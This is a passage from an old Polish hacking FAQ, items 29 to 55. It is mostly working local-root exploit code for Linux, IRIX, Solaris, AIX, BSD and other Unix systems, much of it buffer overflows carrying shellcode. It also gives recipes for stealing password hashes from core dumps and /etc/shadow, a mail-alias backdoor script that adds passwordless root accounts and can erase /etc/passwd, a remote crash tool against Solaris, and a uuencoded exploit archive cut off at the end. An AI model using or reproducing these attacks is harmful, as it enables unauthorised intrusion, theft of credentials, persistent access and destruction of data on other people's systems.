W tym momencie pojawi sie komunikat 'Broken pipe' i program zakonczy dzialanie. Teraz wpisz "/tmp/rxsh" i... jestes rootem :)

29. Whoow - kill all processes, 2

Podobno na niektórych linuchach pozwala to zabic wszystkie procesy spod dowolnego UIDa:

```
-- CUT HERE --
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 8765

#define ERROR_CHECK(x, msg) do { \
    if ((x) == -1) { \
        perror(msg); \
        exit(1); \
    } \
} while (0)

int main(int argc, char *argv[]) {
    int s, sl, child_pid;
    struct sockaddr_in addr;
    int one = 1;
    char c = 0;
    if (argc != 2) {
        fprintf(stderr, "usage: %s pid\n", argv[0]);
        exit(1);
    }
    ERROR_CHECK( s = socket(AF_INET, SOCK_STREAM, 0), "socket" );
    ERROR_CHECK( setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one),
"setsockopt" );
    memset(&addr, 0, sizeof addr);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(PORT);
    addr.sin_addr.s_addr = INADDR_ANY;
    ERROR_CHECK( bind(s, (struct sockaddr *) &addr, sizeof addr), "bind" );
    ERROR_CHECK( listen(s, 1), "listen" );
    ERROR_CHECK( child_pid = fork(), "fork" );
    if (child_pid == 0) {
        int pid_to_kill = atoi(argv[1]);
        ERROR_CHECK( sl = socket(AF_INET, SOCK_STREAM, 0), "child
socket" );
        ERROR_CHECK( connect(sl, (struct sockaddr *) &addr, sizeof addr),
"child connect" );
        ERROR_CHECK( ioctl(sl, FIOSETOWN, &pid_to_kill), "child ioctl" );
        ERROR_CHECK( write(sl, &c, 1), "child write" );
        ERROR_CHECK( read(sl, &c, 1), "child read" );
        _exit(0);
    }
    ERROR_CHECK( sl = accept(s, NULL, NULL), "accept" );
    ERROR_CHECK( read(sl, &c, 1), "read" );
    ERROR_CHECK( send(sl, &c, 1, MSG_OOB), "send" );
}
```

```

        return 0;
    }
    -- CUT HERE --

```

30. splitvt - ???

Oto kolejny exploit pozwalajacy zdobyc lokalnie roota. Oto jak go uzyc:

```

% ./ten_program
# ./ten_program
# splitvt

```

I juz jestesmy rootem :) Brak danych co do zakresu stosowalnosci :(

```

-- CUT HERE --
long get_esp(void) {
__asm__("movl %esp,%eax\n");
}
main() {
    char eggplant[2048];
    int a;
    char *egg;
    long *egg2;
    char realegg[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
    char *eggie = realegg;
    egg = eggplant;
    *(egg++) = 'H';
    *(egg++) = 'O';
    *(egg++) = 'M';
    *(egg++) = 'E';
    *(egg++) = '=';
    egg2 = (long *)egg;
    for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30;
    egg=(char *)egg2;
    for (a=0;a<0x40;a++) *(egg++) = 0x90;
    while (*eggie)
        *(egg++) = *(eggie++);
    *egg = 0; /* terminate eggplant! */
    putenv(eggplant);
    system("/bin/bash");
}
-- CUT HERE --

```

31. Hasla z core... Linuxy?

Oto jak mozna w pliku core zdobyc kawalek pliku z haslami:

- Otworz 2 sesje telnetu.
- Na jednej z nich wejdz na swoj serwer i wpisz /bin/login
- Wpisz jako login "root" i podaj zle haslo. Zostaw go otwartego.
- Na drugim telnecie wpisz "ps auwx | grep login"
- Sprawdz numer procesu i wpisz "kill -11 numerprocesu"
- Na drugim terminalu pojawi sie "Segmentation fault (core dumped)"
- Wpisz "strings core > woah". Powinienes dostac odshadowane haslo roota :)

Tak samo mozesz postapic z dowolnym innym userem. Niestety, nowe kernele nie robia zrzutu na dysku.... Ale szanse spore.

32. bug w zgv.

Ten program trzeba skompilowac do pliku o jednoliterowej nazwie, np. z i

odpalic. Przy odrobinie farta dostaniemy roota, poniewaz zgv wykłada sie na zmiennej srodowiskowej \$HOME ktora podsuwa mu ten program:

```
-- CUT HERE --
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shellcode =
    "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
    "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
    "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
    "\xcd\x80/"
    "/bin/sh"
    "0";

char *get_sp() {
    asm("movl %esp,%eax");
}

#define bufsize 4096
char buffer[bufsize];

main() {
    int i;
    for (i = 0; i < bufsize - 4; i += 4)
        *(char **)&buffer[i] = get_sp() - 4675;
    memset(buffer, 0x90, 512);
    memcpy(&buffer[512], shellcode, strlen(shellcode));
    buffer[bufsize - 1] = 0;
    setenv("HOME", buffer, 1);
    execl("/usr/bin/zgv", "/usr/bin/zgv", NULL);
}
-- CUT HERE --
```

33. Instalacja prostego backdoora : lcamtuf

Kiedy juz zdobywasz roota - warto miec na uwadze przyszlosc i zabezpieczyc sie przed "niepowolana interwencja administratora" przez zalozenie backdoora, czyli furtki, ktora w przyszosci pozwoli ci wejsc do systemu. Aby zalozyc "profesjonalny" sprzet - zajrzyj na strone p0werfaq. Takie maszyny na ogol instaluja sie w /etc/inetd.conf i czekaja, az polaczysz sie z odpowiednim portem. A oto bardzo proste rozwiazanie wykorzystujace poczte do otwierania furtki. Oczywiscie root moze sie skapowac... Ale mysle ze pierw bedzie szukal backdoora w demonach inetowych niz w aliasach poczty... A wiec do rzeczy:

```
-- CUT HERE --
#!/bin/sh
# Trivial Backdoor 1.1b (c) lcamtuf
chmod +s /bin/echo
chmod +w /etc/hosts.allow /etc/passwd
echo mardcd8 : "|/bin/echo j00p::999:999:::/ >>/etc/passwd" >>/etc/aliases
echo jufiokl : "|/bin/echo r00t::0:0:::/root >>/etc/passwd" >>/etc/aliases
echo blamrht : "|/bin/echo ALL:ALL >/etc/hosts.allow" >>/etc/aliases
echo yrpcoty : "|/bin/echo -n >/etc/passwd" >>/etc/aliases
newaliases
-- CUT HERE --
```

Jesli root nie wyeliminuje tych dziurek (a zakladajac, ze byl na tyle glupi ze udalo sie wam wlamac, to jest to calkiem prawdopodobne) - bedziecie mogli nawet po zalataniu dziur w serwerze i skasowaniu waszego konta czy nawet odcieciu dostepu powrocic na serwer. Oto cenne adresy:

mardcd8@serwer.com - wysylajac tu dowolny list dostaniesz konto o nazwie j00p i uprawnieniach normalnego usera, bez hasla.

jufiokl@serwer.com - piszac na ten adres dostaniesz konto r00t z uprawnieniami superusera, rowniez bez hasla.

blamrht@serwer.com - wysylajac list tutaj otrzymasz dostep do serwera gdy nie mozesz sie zalogowac przez telnet

yrpcoty@serwer.com - "revenge" - kasuje wszystkie konta w systemie :)

PONIZSZE TEKSTY ZOSTALY PRZENIESIONE ZE ZLIKWIDOWANEJ RUBRYKI "Unix bugs":

34. W systemach AIX wywołanie polecenia "tprof -x /bin/sh" wywola nowa kopie shella (sh) bez ograniczen dostepu (czyli masz roota).

35. W systemie AIX 2.2.1 plik etc/shadow (z haslami) mozna przepisac wlasna wersja pliku (!!!) albo cos tam dodac. Wiec piszesz tak:

```
% echo "rewt::0:0:blahness:::/bin/sh" >> /etc/passwd
```

A pozniej logujesz sie przez telnet jako user "rewt" i jestes w systemie jako root.

36. W AIX 3.x.x dziura w usłudze rlogin - po wykonaniu polecenia:

```
% rlogin localhost -l -froot
```

Masz roota.

37. BSD 4.2, ULTRIX 3.0 - ogladanie dowolnego pliku przez dziure w fingerze. Wykonujesz polecenia (lamer to jakikolwiek id uzytkownika).

```
% ln -s /etc/shadow /home/lamer/.plan
```

```
% finger lamer
```

A wtedy poza standardowa informacja fingerera pojawi ci sie zawartosc podanego pliku (/etc/shadow).

38. DYNIX 3.0.14, ULTRIX 2.X - za pomoca sendmaila mozna przeczytac dowolny plik w systemie. Polecenie "sendmail -C /etc/shadow" zwroci zawartosc pliku /etc/shadow, czyli masz hasla.

39. DYNIX (wszystkie), IRIX (wszystkie) - za pomoca rsh (remote shell) mozna wywolac dowolne polecenie z uprawnieniami roota. Czyli:

```
% rsh localhost -l "" /bin/sh
```

uruchomi nam shella i bedziemy mieli pelen dostep.

40. HP-UX <7.0 - polecenie chfn pozwala umiescic symbol nowej linii w linii polecen (^M) i tym samym dodanie nowego uzytkownika (rewt) - patrz bug #2.

Piszesz na koncie: "chfn -f looser^Mrewt::0:0:::/bin/sh"

Pozniej logujesz sie poleceniem: "rlogin localhost -l rewt" i masz roota.

41. Solaris 2.5, ale prawdopodobnie dziala tez na innych : Brajek

Jesli masz konto to piszesz

```
ping -sv -i 127.0.0.1 224.0.0.1
```

i komputer sie zrebootuje

42. Dziura w mktemp() - Slackware 3.0, moze inne...

Kazdy uzytkownik moze przegladac poczte przechodzaca przez serwer. Oto exploicik. Wykorzystuje on blad w mktemp'ie, ktory pozwala na dowolny dostep do plikow tymczasowych sendmaila. Po uruchomieniu wpiszcie "tail -f /tmp/R* >plik" i zostawcie go tak:


```

-- CUD HERE :) --
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>

void exploit_mktemp(char *dest, char *prepend, char *pid) {
    int i;
    strcpy(dest,prepend);
    for(i=strlen(pid);i<6;i++) strcat(dest,"0");
    strcat(dest,pid);
    dest[strlen(prepend)] = 'a';
}

main(int argc, char **argv) {
    char tmpf[5][80];
    umask(0);
    if(argc<2) {
        printf("mailbug racer\nSyntax: %s process-id\n",argv[0]);
        return -1;
    }
    exploit_mktemp(tmpf[0],"/tmp/Re",argv[1]);
    exploit_mktemp(tmpf[1],"/tmp/Rs",argv[1]);
    exploit_mktemp(tmpf[2],"/tmp/Rq",argv[1]);
    exploit_mktemp(tmpf[3],"/tmp/Rm",argv[1]);
    creat(tmpf[0],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
    creat(tmpf[1],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
    creat(tmpf[2],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
    creat(tmpf[3],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
}
-- CUD HERE :( --

```

A WSZYSTKO OD TEGO MOMENTU TO JUZ NOWSZE TEKSTY:

43. vconfig() - BSD : lcamtuf

Oto exploit pozwalajacy zdobyc roota przez przepelnienie bufora vconfig'a.
Uzycie - z parametrem 8, 4, 24 (trzeba poeksperymentowac).

```

-- CUT HERE --
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define EGGSIZE 2048

char *shellcode =
    "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
    "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
    "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
    "\xcd\x80/"
    "/bin/sh"
    "0";

unsigned long get_sp() {
    asm("movl %esp,%eax");
}

char *buffer;
char *egg;

main(int argc,char **argv) {
    int i;
    int bsize=1124,offset;

```

```

long *adpt;
char *pt;
if(argc!=2) {
    printf("\nusage  %s <offset>",argv[0]);
    exit(1);
}
offset=atoi(argv[1]);
egg=(char *)malloc(EGGSIZE);
buffer=(char *)malloc(bsize);
pt=buffer;
adpt=(long *) pt;
for (i = 0; i <= bsize-4; i += 4)
    *(adpt++) = get_sp() - offset;
memset(egg, 0x90,EGGSIZE);
memcpy(&egg[EGGSIZE-strlen(shellcode)-2], shellcode, strlen(shellcode));
egg[EGGSIZE-1] = 0;
setenv("BUFF",egg,1);
setenv("HOME", buffer, 1);
printf("\nb-dashing ... \n");
execl("/usr/games/bdash", "/usr/games/bdash", NULL);
}
-- CUT HERE --

```

44. Jak rozwalic ircII? : lcamtuf

Spróbujcie tego:

```
/ctcp lamer dcc send duh <200 0's> 0
```

Niestety jest na to patch, i to dosc popularny, ale mowimy o lamerze, czyz nie? A skad lamer ma wiedziec co to patch :)

45. Obsluga dzwieku w DOOMie : lcamtuf

Tak sie sklada, ze w niektorych DOOMach dla linucha mozna bardzo prosto zdobyc roota grzebiac w dzwieku. Po uruchomieniu exploita nalezy odpalic DOOMa, wyjsc z niego i wpisac '/tmp/sh'.

```

-- CUT HERE --
#!/bin/sh
echo 'sndserver "/tmp/sndserver"' > .doomrc
cat > /tmp/junk.c << EOF
#include <stdio.h>
#include <unistd.h>
main() {
    if (fork()) while (getc(stdin));
    else system("cp /bin/sh /tmp; chmod +s /tmp/sh");
}
EOF
gcc /tmp/junk.c -o /tmp/sndserver
-- CUT HERE --

```

46. ppp w FreeBSD : lcamtuf

Ten exploit wywoluje przepelnienie bufora... I zgadnijcie co dalej :)

```

-- CUT HERE --
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFFER_SIZE      156
#define OFFSET           -290

long get_esp(void) { __asm__( "movl %esp,%eax\n"); }

```

```

main(int argc, char *argv[]) {
    char *buf = NULL;
    unsigned long *addr_ptr = NULL;
    char *ptr = NULL;
    char execshell[] =
        "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
        "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
        "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
        "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
    int i,j;
    buf = malloc(4096);
    i = BUFFER_SIZE-strlen(execshell);
    memset(buf, 0x90, i);
    ptr = buf + i;
    for(i = 0; i < strlen(execshell); i++)
        *ptr++ = execshell[i];
    addr_ptr = (long *)ptr;
    for(i=0;i < (104/4); i++)
        *addr_ptr++ = get_esp() + OFFSET;
    ptr = (char *)addr_ptr;
    *ptr = 0;
    setenv("HOME", buf, 1);
    execl("/usr/sbin/ppp", "ppp", NULL);
}
-- CUT HERE --

```

47. fsdump na IRIXie 5.3 : lcantuf

Wpiszcie cos takiego na irixie:

```
% /var/rfindd/fsdump -L/etc/passwd -F/tmp/dump /
```

Pozniej poczekaajcie 2 sekundy i walnijcie Ctrl-C.

A teraz... zobacz kto jest ownerem /etc/passwd :)

```

% ls -la /etc/passwd
-rw-r--r--  1 csh      users      956 Feb 25 06:23 /etc/passwd

```

I tera sruuu:

```

% echo b00s::0:0:master:/root:/bin/bash >>/etc/passwd
% su b00s
% whoami
root
% chown root:root /etc/passwd

```

48. login na IRIXie 5.3 - 6.3 : lcantuf

Oto i exploit. Po kompilacji i uruchomieniu zapyta o haslo - wcisnij ENTER. Jesli nie dziala - przekompiluj go z parametrem '-n32'.

```
-- CUT HERE --
```

```

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      200
#define EXTRA           300
#define OFFSET          0x1b0
#define IRIX_NOP        0x03e0f825

#define u_long unsigned

```

```

u_long get_sp_code[] = {
    0x03a01025,0x03e00008,0x00000000,
};

u_long irix_shellcode[] = {
    0x24041234,0x2084edcc,0x0491fffe,0x03bd302a,0x23e4012c,0xa086feff,
    0x2084fef8,0x20850110,0xaca4fef8,0xaca6fefc,0x20a5fef8,0x240203f3,
    0x03ffffcc,0x2f62696e,0x2f7368ff,
};

char buf[BUF_LENGTH + EXTRA + 8];

void main(int argc, char **argv) {
    char *env[] = {NULL};
    u_long targ_addr, stack;
    u_long *long_p;
    int i, code_length = strlen((char *)irix_shellcode)+1;
    u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
    stack = get_sp();
    long_p =(u_long *) buf;
    targ_addr = stack + OFFSET;
    if (argc > 1)
        targ_addr += atoi(argv[1]);
    while ((targ_addr & 0xff000000) == 0 ||
           (targ_addr & 0x00ff0000) == 0 ||
           (targ_addr & 0x0000ff00) == 0 ||
           (targ_addr & 0x000000ff) == 0)
        targ_addr += 4;
    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
        *long_p++ = IRIX_NOP;
    for (i = 0; i < code_length/sizeof(u_long); i++)
        *long_p++ = irix_shellcode[i];
    for (i = 0; i < EXTRA / sizeof(u_long); i++)
        *long_p++ = (targ_addr << 24) | (targ_addr >> 8);
    *long_p = 0;
    printf("stack = 0%x, targ_addr = 0%x\n", stack, targ_addr);
    execl("/bin/login", "login", "-h", &buf[1], 0, env);
    perror("execl failed");
}
-- CUT HERE --

```

49. xclock - IRIX 6.3 : lcamtuf

Oto exploit dajacy UID=0. Dla irixa 6.2 podaj parametr '20'. UWAGA: Ten exploit nie ustawia EUID=0. Trzeba pozniej uzyc innego programiku, kod zrodlowy na koncu:

```

-- CUT HERE --
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

#define NUM_ADDRESSES    800
#define BUF_LENGTH      80
#define EXTRA           190
#define OFFSET           0x118    /* 0x160 for Irix 6.2 */
#define GP_OFFSET        32472
#define IRIX_NOP         0x03e0f825

#define u_long unsigned

u_long get_sp_code[] = {
    0x03a01025,0x03e00008,0x00000000,

```

```

};

u_long irix_shellcode[] = {
    0x24041234,0x2084edcc,0x0491fffe,0x03bd302a,0x23e4012c,0xa086feff,
    0x2084fef8,0x20850110,0xaca4fef8,0xaca6fetc,0x20a5fef8,0x240203f3,
    0x03ffffcc,0x2f62696e,0x2f7368ff,
};

char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];

void main(int argc, char **argv) {
    char *env[] = {NULL};
    u_long targ_addr, stack, tmp;
    u_long *long_p;
    int i, code_length = strlen((char *)irix_shellcode)+1;
    u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
    stack = get_sp();
    if (stack & 0x80000000) {
        printf("Recompile with the '-32' option\n");
        exit(1);
    }
    long_p =(u_long *) buf;
    targ_addr = stack + OFFSET;
    if (argc > 1)
        targ_addr += atoi(argv[1]) * 4;
    if (targ_addr + GP_OFFSET > 0x80000000) {
        printf("Sorry - this exploit for Irix 6.x only\n");
        exit(1);
    }
    tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3;
    while ((tmp & 0xff000000) == 0 ||
           (tmp & 0x00ff0000) == 0 ||
           (tmp & 0x0000ff00) == 0 ||
           (tmp & 0x000000ff) == 0)
        tmp += 4;
    for (i = 0; i < NUM_ADDRESSES/sizeof(u_long); i++)
        *long_p++ = tmp;
    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
        *long_p++ = IRIX_NOP;
    for (i = 0; i < code_length/sizeof(u_long); i++)
        *long_p++ = irix_shellcode[i];
    tmp = (targ_addr + GP_OFFSET + 32/* + NUM_ADDRESSES/2 */) & ~3;
    for (i = 0; i < EXTRA / sizeof(u_long); i++)
        *long_p++ = (tmp << 16) | (tmp >> 16);
    *long_p = 0;
    printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);
    execl("/usr/bin/X11/xlock", "xlock", "-name", buf, 0, env);
    perror("execl failed");
}
-- CUT HERE --

```

A oto i rzeczony uid-fix:

```

-- CUT HERE --
void main(void) {
    setuid(0,0);
    execl("/bin/sh", "sh", 0);
}
-- CUT HERE --

```

50. passwd - Solaris 2.5.1 : lcantuf

Sami zobaczcie :)

-- CUT HERE --

```

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      1100
#define EXTRA           1200
#define STACK_OFFSET    3800
#define SPARC_NOP        0xa61cc013

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff"
;

u_long get_sp(void) {
    __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[]) {
    char buf[BUF_LENGTH + EXTRA];
    long targ_addr;
    u_long *long_p;
    u_char *char_p;
    int i, code_length = strlen(sparc_shellcode), dso=0;
    if(argc > 1) dso=atoi(argv[1]);
    long_p = (u_long *) buf;
    targ_addr = get_sp() - STACK_OFFSET - dso;
    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
        *long_p++ = SPARC_NOP;
    char_p = (u_char *) long_p;
    for (i = 0; i < code_length; i++)
        *char_p++ = sparc_shellcode[i];
    long_p = (u_long *) char_p;
    for (i = 0; i < EXTRA / sizeof(u_long); i++)
        *long_p++ = targ_addr;
    printf("Jumping to address 0x%x B[%d] E[%d] SO[%d]\n",
        targ_addr, BUF_LENGTH, EXTRA, STACK_OFFSET);
    execl("/bin/passwd", "passwd", buf, (char *) 0);
    perror("execl failed");
}
-- CUT HERE --

```

51. Jak polozyc Solarisa 2.5.1 x86 : lcamtuf

Kompilacja: cc -o killsol killsol.c -lsocket -lnsl
 Uzycie: ./killsol adres_IP port

Jako adres IP podajesz of koz adres goscia (a podaje ci go chocby telnet przy laczeniu), a jako port - port dowolnej usluzi wyswietlajacej banner (moze to byc IMAP, POP3, FTP, SMTP, ale nie HTTP):

```

-- CUT HERE --
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>

```

```

int main(int argc, char **argv) {
    int i,sock,flgs;
    char *s;
    struct sockaddr_in sin;
    fd_set fds;
    char tmp[4096];
    char *host;
    long port;
    if (argc != 3) {
        fprintf(stderr, "Usage: %s ip-addr port\n", argv[0]);
        return 1;
    }
    host = argv[1];
    port = atol(argv[2]);
    sin.sin_port = htons (port);
    sin.sin_addr.s_addr = inet_addr (host);
    sin.sin_family = AF_INET;
    if ((sock = socket (sin.sin_family,SOCK_STREAM,IPPROTO_IP)) < 0) {
        fprintf (stderr,"Unable to create TCP socket: %s\n",strerror (errno));
        return 0;
    }
    flgs = fcntl (sock,F_GETFL,0);
    fcntl (sock,F_SETFL,flgs | O_NDELAY);
    while ((i = connect (sock,(struct sockaddr *) &sin,sizeof (sin))) < 0 &&
    errno == EINTR);
    if (i < 0) switch (errno) {
    case EINPROGRESS:
    case EISCONN:
    case EADDRINUSE:
        break;
    default:
        fprintf (stderr,"Can't connect to %.80s,%d: %s\n",host,port,
            strerror (errno));
        close (sock);
        return 0;
    }
    FD_ZERO (&fds);
    FD_SET (sock,&fds);
    while (((i = select (sock+1,NULL,&fds,NULL,NULL)) < 0) &&
    (errno == EINTR));
    if (i > 0) {
        fcntl (sock,F_SETFL,flgs);
        while ((i = read (sock,tmp,0)) < 0 && errno == EINTR);
        if (!i) i = 1;
    }
    if (i <= 0) {
        fprintf (stderr,"Can't connect to %.80s,%d: %s\n",host,port,
            strerror (i ? errno : ETIMEDOUT));
        close (sock);
    }
    return 0;
}
-- CUT HERE --

```

52. dop - DEC 4.0x : lcantuf

Ten exploit daje roota na systemach DEC 4.0, 4.0a, 4.0b

```

-- CUT HERE --
#!/bin/sh
cat > /tmp/usr <<EOF
#!/bin/sh
IFS=" "
export IFS
exec /bin/sh
EOF

```



```
chmod 755 /tmp/usr
IFS=/ PATH=/tmp:$PATH /usr/sbin/dop crack-user=root
-- CUT HERE --
```

53. AIX - shadow : lcamtuf

AIX to strasznie pokopany system. Oto jak zdobyc tam hasla (ktore nie znajduja sie w /etc/shadow tylko w /etc/security/passwd):

```
% /usr/sbin/lquerypv -h /etc/security/passwd
```

I to koniec.

54. svgalib - Linux : lcamtuf

Dla zalogowanych na konsoli - mozecie odczytac 8 kb dowolnego pliku wykorzystujac ten wiejski programik (pierwszy parametr to plik do odczytania, drugi - do zapisania):

```
-- CUT HERE --
#!/bin/sh
restorefont -w /tmp/deffont.tmp
restorefont -r $1
restorefont -w $2
restorefont -r /tmp/deffont.tmp
rm -f /tmp/deffont.tmp
-- CUT HERE --
```

55. sperl5.00x : lcamtuf

Oto bardzo obiecujacy exploit wykorzystujacy bug w sperlu5.003 chyba do wersji 07 wlasnie - a to oznacza roota na systemach nawet Red Hat 4.1 :)

Exploit sklada sie z wielu plikow - na poczatek musisz wyciac ten oto fragment i umiescic go w jakims pliku, np. sperl.dat...

```
-- CUT HERE --
^egin 644 sperl.tgz
M'XL("(\C!#0`W-P97)L+G1A<@#M6MURV\85]JW0/L0QG82D3$(`?V4K3B/+
M)%2M+:DF5<>U-,X26)([!K',8D&1Z:33F5[EHN_21^A%KSK3A^AC]*[G+'Y,
M24X4-Q)=)S@V1!'!_SBZ!/!=^>\YU]U'NXOWM@!R*,%[=N2%S'Z70Z<'M(G`N?
M*`VG"=!I-MK=3JOM.`"NZS8ZM\`YJ0FM2AQII@!N*2GU][6[JOX#E0.I.>@)
MT_B'\`U_,`BGP7@D>@1R-(J[I$])(UP$MP6VT'!O@$1\*%L(36C5P)O3$BF9<
M!6W;<9I.%Q3_*A8*-3"8LR#FB8;./:BPT`<1P3P.0J[8,.!5VWK?C^!G+8\5
MYP_[CVR]N+G5?87]MYN=MK'_;KN!YI_:?ZNP_W6(!?!8J$C#F52OT=1#($-N
MV4ZS`V2LA^H1]R3>IG5DY`VP;=MZCH:/)AX(K0,.4^DO1\)\C6F!#-/C#QX_[
MO4$*`$L9@X>(((>=<C0)Y!BP(`.\C;IQ!/,+06W($L:SZBGBQKK_#]PM?K:W-
M'R%;V!U7:"^%Q9%4D!H,1&^>TW`)A[___`BZ)Z?ZC1K?NB-`+8I_#IY'VA;0G
MGYTO"L3P?%D<"BRF,NN.ST<BY/#P^/'CWK-7_?T_] ,RTW);CY)7I6\JE@W66
M-T&3V!QS_8I'L\I<"K\*?[2HFD732FDJYP%\C%6UCSE;E*H[UC=)EV$>KDR
MVNF.94V9" "LBU,#4V*M!HAGOYR]/JU:BDX1:B)W\JVG&%]R+)CP(7I["@[RJ
M=++@PY-%HWFR:/ .3Q;9_LG#I\U[RW<&ZIGNR\!MI60?+NBOWH]*JJJS8;>' ]
M=GI_+U'A.2>+(5[-83),*U5/?3R&;1OG5+6Q2YMFY20S=%$=Q\O':S3*KJVA
M"+>B"6IR5Z]SFIS&A:MY_KJ'@SNM"U>7/DOXQ#-%N%KX%SU]T1GZZ\E'IK
M1]Q]T*KF[7"=5I+7LEG]A-Z@P,<-V<NO0CU=(RNJIWR*CD$%&]><Q3VGUNUL
MWW6K.ZOUWFQ9,=I,W6DM?YFU2*N^AY6\H%I=T7QA!=7=TP?.2C5U"BJEK3A2
MR8/,C;!4@^HIEG"P?&3)V:=?C#00DCXQ4\*6M`-*+ #E)X4M:T&6[\:5&T45
MX^9<1I6L^#RJ7".H6$?]^W`DO_:5/!,\%`S\@,%9]/4RTJ^%-X&9#")S,V'>
M:XZMC"^V=6V"JF#WX^7\[KC7'^P?'O3A5Y?QYX=(HHK@JPX^#P2Z>Y^/$.)L
M_5#N;!GP;NINK8?6$2<;^0I>XUH'?"';',J_@<#P(3_:3B=MMNBG:+=8KX
M;QV"<=A]0#@&-,&"&V$.FO#WM)JB76V`3W<M0/.POO6AII"?92WW[0E;/X)
M/*DX^@1&K#LPD##%595KJU'T5\9X;+FG$@D%8?W:;O?[D!]F#=#;MAV!U6D
MD6?2%11'KX";4+0-(Q.M4H,V!`QOATO-(T-"82R*>IA:`O>%1H>J,N1L7D5]
M^S!3<B[\1$DD8^5QF'!EIF,F2^/$H8\1J2;=$X15D0;%MD6_ZAWEN0B"Y0<`
```

```

M-, ]ZNX^>]FYVC*OLO]MH9?;?[, 2, _3MNP?^L1?8FW'M-JU_!C*$)41R2.CH+
ME!K$,Y]I3L:~)FJLQU-B1A3Q&WP@<[30JK&5#2\28P\Y]]$@-;ICJ<UC;Q&E
MW6TX5#DIE/1$.PQC5+F7K<,0IDMHY`11[4U(Y!K3?\,VUZ@G(4>L#=[,KPF,
M!PA,6Z[; ;=J6-2!JFT5+3CP76YZ;#[_'KY&8S@*L6,XXE`D0RC;LZW($1T$\'
MKA_4CP+L=K]>M:Q',BP;8$"884,9)\1Y*>+C*0]UPGZ-6!SH$N"C+-'>"B&
M$M)("&0X+J$;&T5LS!%8<&*H!6$HE&K*`IQ&Z*48I=&[H\DI?J:$UCR$VY9E
M4`4&3"G.8LO2R<WGC$\'$R-;#&?V2+T3ZB"4V]Y-+:Y4KK#_1J.5[___=1L?8
MO^L4^9^UR(]B$2YR"L1H[+'`BP.F5Y?Q3&(,SE7*!1/$&-/#/7FLV-2&OEGV
M:,B^Y!&9%Z3*YK29(PHL81ICQ#-2<@HRY%E/LEP62AQ((3I%?^Y.YI:$A>9[
MJDQQ':L042F9!B'/D$,<84GJ/8RE1,SRO%Q;VD#P08:^^QMG(`BQ!;YS%)'
M8T1VBX`CDQP:_H14K2=##Q]"B)>_.DV,4T4XSG:^5!DVUDR$5,'P8:F,0O>D
MSVUXSI2INGW;S"B9?%YCIKB`S2/+E!DOBX5+4B!T!*W40\*XFB;BU`B7R+=!
M+*&9XGS+G.C]43HYA+Y<V8L4HF>$?`E34N.Y0<QXJ/$QZ3S'I^7*&Q]R?#(<
